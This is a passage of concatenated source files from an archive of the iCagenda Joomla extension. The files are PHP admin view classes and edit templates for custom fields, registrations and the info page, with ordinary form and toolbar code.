				<?php echo JText::_('COM_ICAGENDA_COMPONENT_DESC'); ?>
				<!--nav class="iCheader-videos">
					<span style="font-variant:small-caps">Tutorial Videos</span>
					<a href="#">Add a event</a>
					<a href="#">Video 2</a>
					<a href="#">Video 3</a>
				</nav-->
			</h2>
		</header>

		<div>&nbsp;</div>



		<!-- Begin Content -->
		<div class="row-fluid">
			<div class="span10 form-horizontal">

				<!-- Open Panel Set -->
				<?php echo JHtml::_($startPane, 'icTab', array('active' => 'customfield')); ?>

					<!-- Panel Event -->
					<?php echo JHtml::_($addPanel, $icPanFirst, $PanelOne_Tag1, $PanelOne_Tag2); ?>

						<div class="icpanel iCleft">
							<h1><?php echo empty($this->item->id) ? JText::_('COM_ICAGENDA_CUSTOMFIELD_LEGEND_NEW') : JText::sprintf('COM_ICAGENDA_CUSTOMFIELD_LEGEND_EDIT', $this->item->id); ?></h1>
							<hr>
							<div class="row-fluid">
								<div class="span6 iCleft">
									<div class="control-group">
										<div class="control-label">
											<?php echo $this->form->getLabel('title'); ?>
										</div>
										<div class="controls">
											<?php echo $this->form->getInput('title'); ?>
										</div>
									</div>
									<div class="control-group">
										<div class="control-label">
											<?php echo $this->form->getLabel('slug'); ?>
										</div>
										<div class="controls">
											<?php echo $this->form->getInput('slug'); ?>
										</div>
									</div>
									<div class="control-group">
										<div class="control-label">
											<?php echo $this->form->getLabel('parent_form'); ?>
										</div>
										<div class="controls">
											<?php echo $this->form->getInput('parent_form'); ?>
										</div>
									</div>
								</div>
								<div class="span6 iCleft">
									<div class="control-group">
										<div class="control-label">
											<?php echo $this->form->getLabel('type'); ?>
										</div>
										<div class="controls">
											<?php echo $this->form->getInput('type'); ?>
										</div>
									</div>
									<div class="control-group">
										<div class="control-label">
											<?php echo $this->form->getLabel('options'); ?>
										</div>
										<div class="controls">
											<?php echo $this->form->getInput('options'); ?>
										</div>
									</div>
									<div class="control-group">
										<div class="control-label">
											<?php echo $this->form->getLabel('required'); ?>
										</div>
										<div class="controls">
											<?php echo $this->form->getInput('required'); ?>
										</div>
									</div>
								</div>
							</div>
							<hr>
						</div>


					<?php
					if(version_compare(JVERSION, '3.0', 'ge')) {
						echo JHtml::_($endPanel);
					}
					?>


					<!-- Panel Description -->
					<?php echo JHtml::_($addPanel, $icPanDesc, $PanelTwo_Tag1, $PanelTwo_Tag2); ?>

						<div class="icpanel iCleft">
							<h1><?php echo JText::_('COM_ICAGENDA_LEGEND_DESC'); ?></h1>
							<hr>
							<div class="row-fluid">
								<div class="span12 iCleft">
									<h3><?php echo JText::_('COM_ICAGENDA_CUSTOMFIELD_DESCRIPTION_DESC'); ?></h3>
									<?php echo $this->form->getInput('description'); ?>
								</div>
							</div>
						</div>


				<?php
				if(version_compare(JVERSION, '3.0', 'ge')) {
					echo JHtml::_($endPanel);
				}
				?>

				<?php
				echo JHtml::_($addPanel, $icPanPublishing, $PublishingTag1, $PublishingTag2);
				?>
				<div class="icpanel iCleft">
					<h1><?php echo JText::_('JGLOBAL_FIELDSET_PUBLISHING'); ?></h1>
					<hr>
					<div class="row-fluid">
						<div class="span6 iCleft">
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('id'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('id'); ?>
								</div>
							</div>
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('alias'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('alias'); ?>
								</div>
							</div>
							<div class="control-group">
								<?php echo $this->form->getLabel('created'); ?>
								<div class="controls">
									<?php echo $this->form->getInput('created'); ?>
								</div>
							</div>
							<div class="control-group">
								<?php echo $this->form->getLabel('created_by'); ?>
								<div class="controls">
									<?php echo $this->form->getInput('created_by'); ?>
								</div>
							</div>
							<div class="control-group">
								<?php echo $this->form->getLabel('created_by_alias'); ?>
								<div class="controls">
									<?php echo $this->form->getInput('created_by_alias'); ?>
								</div>
							</div>
							<div class="control-group">
								<?php echo $this->form->getLabel('modified'); ?>
								<div class="controls">
									<?php echo $this->form->getInput('modified'); ?>
								</div>
							</div>
							<div class="control-group">
								<?php echo $this->form->getLabel('modified_by'); ?>
								<div class="controls">
									<?php echo $this->form->getInput('modified_by'); ?>
								</div>
							</div>
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('checked_out'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('checked_out'); ?>
								</div>
							</div>
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('checked_out_time'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('checked_out_time'); ?>
								</div>
							</div>
						</div>
					</div>
				</div>


				<?php echo JHtml::_($endPanel); ?>

				<?php echo JHtml::_($endPane, 'icTab'); ?>
			</div>

		<!-- Begin Sidebar -->
			<div class="span2 iCleft">
						<h4><?php echo JText::_('COM_ICAGENDA_TITLE_SIDEBAR_DETAILS'); ?></h4>
						<hr>
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('state'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('state'); ?>
								</div>
							</div>
							<!--div class="control-group">
								<?php echo $this->form->getLabel('access'); ?>
								<div class="controls">
									<?php echo $this->form->getInput('access'); ?>
								</div>
							</div-->
							<!--div class="control-group">
								<?php echo $this->form->getLabel('language'); ?>
								<div class="controls">
									<?php echo $this->form->getInput('language'); ?>
								</div>
							</div-->
							<input type="hidden" name="language" value="*" />
			</div>
		<!-- End Sidebar -->
		</div>

		<div class="clr"></div>

	</div>




	</div>


	<input type="hidden" name="task" value="" />
	<?php echo JHtml::_('form.token'); ?>
	<div class="clr"></div>
</form>

	<?php
	// Joomla 2.5
	if (version_compare(JVERSION, '3.0', 'lt'))
	{
		JHtml::stylesheet('com_icagenda/template.j25.css', false, true);
		JHtml::stylesheet('com_icagenda/icagenda-back.j25.css', false, true);

		JHtml::_('behavior.framework');

		// load jQuery, if not loaded before
		$scripts = array_keys($document->_scripts);
		$scriptFound = false;
		$scriptuiFound = false;

		for ($i = 0; $i < count($scripts); $i++)
		{
			if (stripos($scripts[$i], 'jquery.min.js') !== false)
			{
				$scriptFound = true;
			}
			if (stripos($scripts[$i], 'jquery.js') !== false)
			{
				$scriptFound = true;
			}
			if (stripos($scripts[$i], 'jquery-ui.min.js') !== false)
			{
				$scriptuiFound = true;
			}
		}

		// jQuery Library Loader
		if (!$scriptFound)
		{
			// load jQuery, if not loaded before
			if (!$app->get('jquery'))
			{
				$app->set('jquery', true);
				// add jQuery
				$document->addScript('https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js');
				$document->addScript( JURI::root( true ) . '/media/com_icagenda/js/jquery.noconflict.js' );
			}
		}

		if (!$scriptuiFound)
		{
			$document->addScript('https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js');
		}

		$document->addScript( JURI::root( true ) . '/media/com_icagenda/js/template.js' );
	}
	else
	{
		JHtml::_('bootstrap.framework');
		JHtml::_('jquery.framework');
	}

}
else
{
	$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'warning');
	$app->redirect(htmlspecialchars_decode('index.php?option=com_icagenda&view=icagenda'));
}
com_icagenda/views/customfield/view.html.php000060400000007307152455305270015251 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-07-02
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

// iCagenda Class control (Joomla 2.5/3.x)
if (!class_exists('iCJView')) {
	if (version_compare(JVERSION,'3.0.0','ge')) {
		class iCJView extends JViewLegacy {};
	} else {
		jimport('joomla.application.component.view');
		class iCJView extends JView {};
	}
}

/**
 * View class Admin - Edit a Custom Field - iCagenda
 */
class iCagendaViewCustomfield extends iCJView
{
	protected $state;
	protected $item;
	protected $form;

	/**
	 * Display the view
	 */
	public function display($tpl = null)
	{
		$this->state	= $this->get('State');
		$this->item		= $this->get('Item');
		$this->form		= $this->get('Form');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));
			return false;
		}

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 */
	protected function addToolbar()
	{
		JRequest::setVar('hidemainmenu', true);

		$user		= JFactory::getUser();
		$isNew		= ($this->item->id == 0);

        if (isset($this->item->checked_out))
        {
		    $checkedOut	= !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id'));
        }
        else
        {
            $checkedOut = false;
        }

		$canDo		= iCagendaHelper::getActions();

		// Set Title
		if(version_compare(JVERSION, '3.0', 'lt'))
		{
			JToolBarHelper::title($isNew ? 'iCagenda - ' . JText::_('COM_ICAGENDA_CUSTOMFIELD_LEGEND_NEW') : 'iCagenda - ' . JText::_('COM_ICAGENDA_CUSTOMFIELD_LEGEND_EDIT'), 'category.png');
		}
		else
		{
			JToolBarHelper::title($isNew ? 'iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_CUSTOMFIELD_LEGEND_NEW') . '</span>'  : 'iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_CUSTOMFIELD_LEGEND_EDIT') . '</span>' , $isNew ? 'new' : 'pencil-2');
		}

		$icTitle = $isNew ? JText::_('COM_ICAGENDA_CUSTOMFIELD_LEGEND_NEW') : JText::_('COM_ICAGENDA_CUSTOMFIELD_LEGEND_EDIT');

		$document	= JFactory::getDocument();
		$app		= JFactory::getApplication();
		$sitename	= $app->getCfg('sitename');
		$title		= $app->getCfg('sitename') . ' - ' . JText::_('JADMINISTRATION') . ' - iCagenda: ' . $icTitle;
		$document->setTitle($title);

		// If not checked out, can save the item.
		if (!$checkedOut && ($canDo->get('core.edit')||($canDo->get('core.create'))))
		{
			JToolBarHelper::apply('customfield.apply', 'JTOOLBAR_APPLY');
			JToolBarHelper::save('customfield.save', 'JTOOLBAR_SAVE');
		}

		if (!$checkedOut && ($canDo->get('core.create')))
		{
			JToolBarHelper::custom('customfield.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false);
		}

		// If an existing item, can save to a copy.
		if (!$isNew && $canDo->get('core.create'))
		{
			JToolBarHelper::custom('customfield.save2copy', 'save-copy.png', 'save-copy_f2.png', 'JTOOLBAR_SAVE_AS_COPY', false);
		}

		if (empty($this->item->id))
		{
			JToolBarHelper::cancel('customfield.cancel', 'JTOOLBAR_CANCEL');
		}
		else
		{
			JToolBarHelper::cancel('customfield.cancel', 'JTOOLBAR_CLOSE');
		}
	}
}
com_icagenda/views/customfield/index.html000060400000000032152455305270014604 0ustar00<html><body></body></html>com_icagenda/views/registration/view.html.php000060400000007157152455305270015450 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-06-10
 * @since       3.3.3
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * View class Admin - Registration Edit - iCagenda
 */
class iCagendaViewRegistration extends JViewLegacy
{
	protected $state;
	protected $item;
	protected $form;

	/**
	 * Display the view
	 */
	public function display($tpl = null)
	{
		// Initialiase variables.
		$this->state	= $this->get('State');
		$this->item		= $this->get('Item');
		$this->form		= $this->get('Form');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));
			return false;
		}

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 */
	protected function addToolbar()
	{
		JRequest::setVar('hidemainmenu', true);

		$user		= JFactory::getUser();
		$isNew		= ($this->item->id == 0);

        if (isset($this->item->checked_out))
        {
		    $checkedOut	= ! ($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id'));
        }
        else
        {
            $checkedOut = false;
        }

		$canDo		= iCagendaHelper::getActions();

		//JToolBarHelper::title(JText::_('COM_ICAGENDA_TITLE_CATEGORY'), 'category.png');
		// Set Title
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			JToolBarHelper::title($isNew ? 'iCagenda - ' . JText::_('COM_ICAGENDA_LEGEND_NEW_REGISTRATION') : 'iCagenda - ' . JText::_('COM_ICAGENDA_LEGEND_EDIT_REGISTRATION'), 'registration.png');
		}
		else
		{
			JToolBarHelper::title($isNew ? 'iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_LEGEND_NEW_REGISTRATION') . '</span>'  : 'iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_LEGEND_EDIT_REGISTRATION') . '</span>' , $isNew ? 'new' : 'pencil-2');
		}

		$icTitle	= $isNew ? JText::_('COM_ICAGENDA_LEGEND_NEW_REGISTRATION') : JText::_('COM_ICAGENDA_LEGEND_EDIT_REGISTRATION');

		$document	= JFactory::getDocument();
		$app		= JFactory::getApplication();
		$sitename	= $app->getCfg('sitename');
		$title		= $app->getCfg('sitename') . ' - ' . JText::_('JADMINISTRATION') . ' - iCagenda: ' . $icTitle;

		$document->setTitle($title);

		// If not checked out, can save the item.
		if ( ! $checkedOut && ($canDo->get('core.edit') || $canDo->get('core.edit.own') || $canDo->get('core.create')))
		{
			JToolBarHelper::apply('registration.apply', 'JTOOLBAR_APPLY');
			JToolBarHelper::save('registration.save', 'JTOOLBAR_SAVE');
		}

		if ( ! $checkedOut && ($canDo->get('core.create')))
		{
			JToolBarHelper::custom('registration.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false);
		}

		// If an existing item, can save to a copy.
		if ( ! $isNew && $canDo->get('core.create'))
		{
			JToolBarHelper::custom('registration.save2copy', 'save-copy.png', 'save-copy_f2.png', 'JTOOLBAR_SAVE_AS_COPY', false);
		}

		if (empty($this->item->id))
		{
			JToolBarHelper::cancel('registration.cancel', 'JTOOLBAR_CANCEL');
		}
		else
		{
			JToolBarHelper::cancel('registration.cancel', 'JTOOLBAR_CLOSE');
		}
	}
}
com_icagenda/views/registration/index.html000060400000000032152455305270015000 0ustar00<html><body></body></html>com_icagenda/views/registration/tmpl/index.html000060400000000032152455305270015754 0ustar00<html><body></body></html>com_icagenda/views/registration/tmpl/edit.php000060400000031060152455305270015422 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.9 2015-07-31
 * @since       3.3.3
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

JHtml::_('behavior.tooltip');
JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidation');

$app = JFactory::getApplication();

// Access Administration Categories check.
if (JFactory::getUser()->authorise('icagenda.access.registrations', 'com_icagenda'))
{
	$document			= JFactory::getDocument();
	$bootstrapType		= '1';
	$RegistrationTag	= 'Registration';
	$RegistrationTitle	= JText::_('COM_ICAGENDA_REGISTRATION_INFORMATION', true);
	$DescTag			= 'desc';
	$DescTitle			= JText::_('COM_ICAGENDA_REGISTRATION_NOTES_DISPLAY_LABEL', true);
	$PublishingTag		= 'publishing';
	$PublishingTitle	= JText::_('JGLOBAL_FIELDSET_PUBLISHING', true);

	// Joomla 2.5
	if (version_compare(JVERSION, '3.0', 'lt'))
	{
		jimport( 'joomla.html.html.tabs' );

		$iCmapDisplay		= '3';

		$icPanRegistration	= JText::_('COM_ICAGENDA_TITLE_REGISTRATION');
		$icPanDesc			= JText::_('COM_ICAGENDA_REGISTRATION_NOTES_DISPLAY_LABEL');
		$icPanPublishing	= JText::_('JGLOBAL_FIELDSET_PUBLISHING');
		$startPane			= 'tabs.start';
		$addPanel			= 'tabs.panel';
		$endPanel			= 'tabs.end';
		$endPane			= 'tabs.end';
		$RegistrationTag1	= $RegistrationTag;
		$RegistrationTag2	= $RegistrationTitle;
		$DescTag1			= $DescTag;
		$DescTag2			= $DescTitle;
		$PublishingTag1		= $PublishingTag;
		$PublishingTag2		= $PublishingTitle;
	}

	// Joomla 3
	else
	{
		JHtml::_('formbehavior.chosen', 'select');
		jimport('joomla.html.html.bootstrap');

		$icPanRegistration	= 'icTab';
		$icPanDesc			= 'icTab';
		$icPanPublishing	= 'icTab';

		if ($bootstrapType == '1')
		{
			$iCmapDisplay		= '1';
			$startPane			= 'bootstrap.startTabSet';
			$addPanel			= 'bootstrap.addTab';
			$endPanel			= 'bootstrap.endTab';
			$endPane			= 'bootstrap.endTabSet';
			$RegistrationTag1	= $RegistrationTag;
			$RegistrationTag2	= $RegistrationTitle;
			$DescTag1			= $DescTag;
			$DescTag2			= $DescTitle;
			$PublishingTag1		= $PublishingTag;
			$PublishingTag2		= $PublishingTitle;
		}
		if ($bootstrapType == '2')
		{
			$iCmapDisplay		= '2';
			$startPane			= 'bootstrap.startAccordion';
			$addPanel			= 'bootstrap.addSlide';
			$endPanel			= 'bootstrap.endSlide';
			$endPane			= 'bootstrap.endAccordion';
			$RegistrationTag1	= $RegistrationTitle;
			$RegistrationTag2	= $RegistrationTag;
			$DescTag1			= $DescTitle;
			$DescTag2			= $DescTag;
			$PublishingTag1		= $PublishingTitle;
			$PublishingTag2		= $PublishingTag;
		}
	}
	?>

	<?php // ERROR ALERT ?>
	<div id="form_errors" class="alert alert-danger" style="display:none">
		<strong><?php echo JText::_('JGLOBAL_VALIDATION_FORM_FAILED'); ?></strong>
		<div id="message_error">
		</div>
	</div>

	<form action="<?php echo JRoute::_('index.php?option=com_icagenda&layout=edit&id='.(int) $this->item->id); ?>" method="post" name="adminForm" id="registration-form" class="form-validate" enctype="multipart/form-data">
		<div class="container">

			<!-- iCagenda Header -->
			<header>
				<h1>
					<?php echo empty($this->item->id) ? JText::_('COM_ICAGENDA_LEGEND_NEW_REGISTRATION') : JText::sprintf('COM_ICAGENDA_LEGEND_EDIT_REGISTRATION', $this->item->id); ?>&nbsp;<span>iCagenda</span>
				</h1>
				<h2>
					<?php echo JText::_('COM_ICAGENDA_COMPONENT_DESC'); ?>
				</h2>
			</header>

			<div>&nbsp;</div>

			<!-- Begin Content -->
			<div class="row-fluid">
				<div class="span10 form-horizontal">

					<!-- Open Panel Set -->
					<?php echo JHtml::_($startPane, 'icTab', array('active' => 'Registration')); ?>

						<!-- Panel Event -->
						<?php echo JHtml::_($addPanel, $icPanRegistration, $RegistrationTag1, $RegistrationTag2); ?>

							<div class="icpanel iCleft">
								<h1>
									<?php echo empty($this->item->id) ? JText::_('COM_ICAGENDA_LEGEND_NEW_REGISTRATION') : JText::sprintf('COM_ICAGENDA_LEGEND_EDIT_REGISTRATION', $this->item->id); ?>
								</h1>
								<hr>
								<div class="row-fluid">
									<div class="span6 iCleft">
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('name'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('name'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('email'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('email'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('phone'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('phone'); ?>
											</div>
										</div>
										<h3><?php echo JText::_('COM_ICAGENDA_CUSTOMFIELDS'); ?></h3>
										<?php
										// Load Custom fields - Registration form (1)
										echo icagendaCustomfields::loader(1);
										?>
									</div>
									<div class="span6 iCleft">
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('eventid'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('eventid'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('date'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('date'); ?>
											</div>
										</div>
										<?php //if ($this->item->period) : ?>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('period'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('period'); ?>
											</div>
										</div>
										<?php //endif; ?>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('people'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('people'); ?>
											</div>
										</div>
									</div>
								</div>
							</div>


						<?php
						if(version_compare(JVERSION, '3.0', 'ge')) {
							echo JHtml::_($endPanel);
						}
						?>


						<!-- Panel Description -->
						<?php echo JHtml::_($addPanel, $icPanDesc, $DescTag1, $DescTag2); ?>

							<div class="icpanel iCleft">
								<h1><?php echo JText::_('COM_ICAGENDA_REGISTRATION_NOTES_DISPLAY_LABEL'); ?></h1>
								<hr>
								<div class="row-fluid">
									<div class="span12 iCleft">
										<!--h3><?php echo JText::_('COM_ICAGENDA_FORM_DESC_REGISTRATION_DESC'); ?></h3-->
										<?php echo $this->form->getInput('notes'); ?>
									</div>
								</div>
							</div>


						<?php
						if(version_compare(JVERSION, '3.0', 'ge')) {
							echo JHtml::_($endPanel);
						}
						?>

						<?php
						echo JHtml::_($addPanel, $icPanPublishing, $PublishingTag1, $PublishingTag2);
						?>
							<div class="icpanel iCleft">
								<h1><?php echo JText::_('JGLOBAL_FIELDSET_PUBLISHING'); ?></h1>
								<hr>
								<div class="row-fluid">
									<div class="span6 iCleft">
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('id'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('id'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('userid'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('userid'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('created'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('created'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('created_by'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('created_by'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('modified'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('modified'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('modified_by'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('modified_by'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('checked_out'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('checked_out'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('checked_out_time'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('checked_out_time'); ?>
											</div>
										</div>
									</div>
								</div>
							</div>

						<?php echo JHtml::_($endPanel); ?>

					<?php echo JHtml::_($endPane, 'icTab'); ?>
				</div>

				<!-- Begin Sidebar -->
				<div class="span2 iCleft">
					<h4><?php echo JText::_('COM_ICAGENDA_TITLE_SIDEBAR_DETAILS'); ?></h4>
					<hr>
					<div class="control-group">
						<div class="control-label">
							<?php echo $this->form->getLabel('state'); ?>
						</div>
						<div class="controls">
							<?php echo $this->form->getInput('state'); ?>
						</div>
					</div>
				</div>
				<!-- End Sidebar -->

			</div>
			<div class="clr"></div>
		</div>

		<input type="hidden" name="task" value="" />
		<?php echo JHtml::_('form.token'); ?>
	</form>

	<?php
	// Script validation for Registration form (1)
	$iCheckForm = icagendaForm::submit(1);
	$document->addScriptDeclaration($iCheckForm);

	// Joomla 2.5
	if (version_compare(JVERSION, '3.0', 'lt'))
	{
		JHtml::stylesheet('com_icagenda/template.j25.css', false, true);
		JHtml::stylesheet('com_icagenda/icagenda-back.j25.css', false, true);

		// load jQuery, if not loaded before (NEW VERSION IN 1.2.6)
		$scripts = array_keys($document->_scripts);
		$scriptFound = false;
		$scriptuiFound = false;
		$mapsgooglescriptFound = false;
		for ($i = 0; $i < count($scripts); $i++)
		{
			if (stripos($scripts[$i], 'jquery.min.js') !== false)
			{
				$scriptFound = true;
			}
			// load jQuery, if not loaded before as jquery - added in 1.2.7
			if (stripos($scripts[$i], 'jquery.js') !== false)
			{
				$scriptFound = true;
			}
			if (stripos($scripts[$i], 'jquery-ui.min.js') !== false)
			{
				$scriptuiFound = true;
			}
			if (stripos($scripts[$i], 'maps.google') !== false)
			{
				$mapsgooglescriptFound = true;
			}
		}

		// jQuery Library Loader
		if (!$scriptFound)
		{
			// load jQuery, if not loaded before
			if (!JFactory::getApplication()->get('jquery'))
			{
				JFactory::getApplication()->set('jquery', true);
				// add jQuery
				$document->addScript('https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js');
				$document->addScript( JURI::root( true ) . '/media/com_icagenda/js/jquery.noconflict.js' );
			}
		}

		if (!$scriptuiFound)
		{
			$document->addScript('https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js');
		}

		$document->addScript( JURI::root( true ) . '/media/com_icagenda/js/template.js' );
	}
}
else
{
	$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'warning');
	$app->redirect(htmlspecialchars_decode('index.php?option=com_icagenda&view=icagenda'));
}
com_icagenda/views/info/index.html000060400000000032152455305270013221 0ustar00<html><body></body></html>com_icagenda/views/info/view.html.php000060400000004613152455305270013663 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-06-23
 * @since       1.2.6
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

// Access check.
if (JFactory::getUser()->authorise('core.admin', 'com_icagenda'))
{
	JToolBarHelper::preferences('com_icagenda');
}

/**
 * View class for a list of iCagenda.
 */
class iCagendaViewinfo extends JViewLegacy
{
	/**
	 * Display the view
	 */
	public function display($tpl = null)
	{
		// Joomla 2.5
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			JHtml::stylesheet('com_icagenda/template.j25.css', false, true);

			JHtml::_('behavior.tooltip');
			jimport( 'joomla.filesystem.path' );
		}

		JHtml::_('behavior.modal');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));

			return false;
		}

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();

			if (version_compare(JVERSION, '3.0', 'ge'))
			{
				$this->sidebar = JHtmlSidebar::render();
			}
		}

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @since	1.6
	 */
	protected function addToolbar()
	{
		require_once JPATH_COMPONENT . '/helpers/icagenda.php';

		$state		= $this->get('State');

		// Set Title
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			JToolBarHelper::title(JText::_('COM_ICAGENDA_TITLE_ICAGENDA_IMAGE'));
		}
		else
		{
			JToolBarHelper::title('iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_INFO') . '</span>', 'info-2');
		}

		$icTitle	= JText::_('COM_ICAGENDA_INFO');

		$document	= JFactory::getDocument();
		$app		= JFactory::getApplication();
		$sitename	= $app->getCfg('sitename');
		$title		= $app->getCfg('sitename') . ' - ' . JText::_('JADMINISTRATION') . ' - iCagenda: ' . $icTitle;
		$document->setTitle($title);
	}
}
com_icagenda/views/info/tmpl/index.html000060400000000032152455305270014175 0ustar00<html><body></body></html>com_icagenda/views/info/tmpl/default.php000060400000032501152455305270014343 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-06-23
 * @since       2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

$user		= JFactory::getUser();
$userId		= $user->get('id');

$db			= JFactory::getDbo();
$query		= $db->getQuery(true);
$query->select('version AS icv, releasedate AS icd')->from('#__icagenda')->where('id = 3');
$db->setQuery($query);
$version	= $db->loadObject()->icv;
$date		= $db->loadObject()->icd;
?>

<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
